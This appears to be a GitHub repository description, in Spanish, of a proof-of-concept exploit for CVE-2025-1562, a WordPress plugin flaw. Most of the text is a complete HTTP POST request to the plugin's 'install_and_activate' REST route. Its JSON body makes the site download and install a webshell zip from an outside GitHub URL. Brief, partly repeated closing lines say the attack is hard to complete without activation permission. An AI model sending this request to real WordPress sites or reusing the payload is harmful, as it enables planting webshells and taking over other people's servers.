gmh5225/cve-2025-1562Exploit de prueba de concepto para CVE-2025-1562, una vulnerabilidad de activación de plugins de WordPress que permite ejecución remota de código a través de solicitudes REST API manipuladas.
POST /index.php?rest_route=%2Fautonami-app%2Fplugin%2Finstall_and_activate&bwf-nonce=0f2449cddf9a7d692627071cfdef9ecf HTTP/2
Host: wp.192.168.31.110.nip.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Type: application/json
Content-Length: 117
{
"action": "install",
"url": "https://github.com/maximo896/webshell-example/raw/refs/heads/main/suffer.zip"
}
Sin permisos para activar el plugin, no se puede obtener la ruta del plugin, difícil de explotar No se puede activar el plugin malicioso, no se puede recuperar la ruta del plugin, difícil de atacar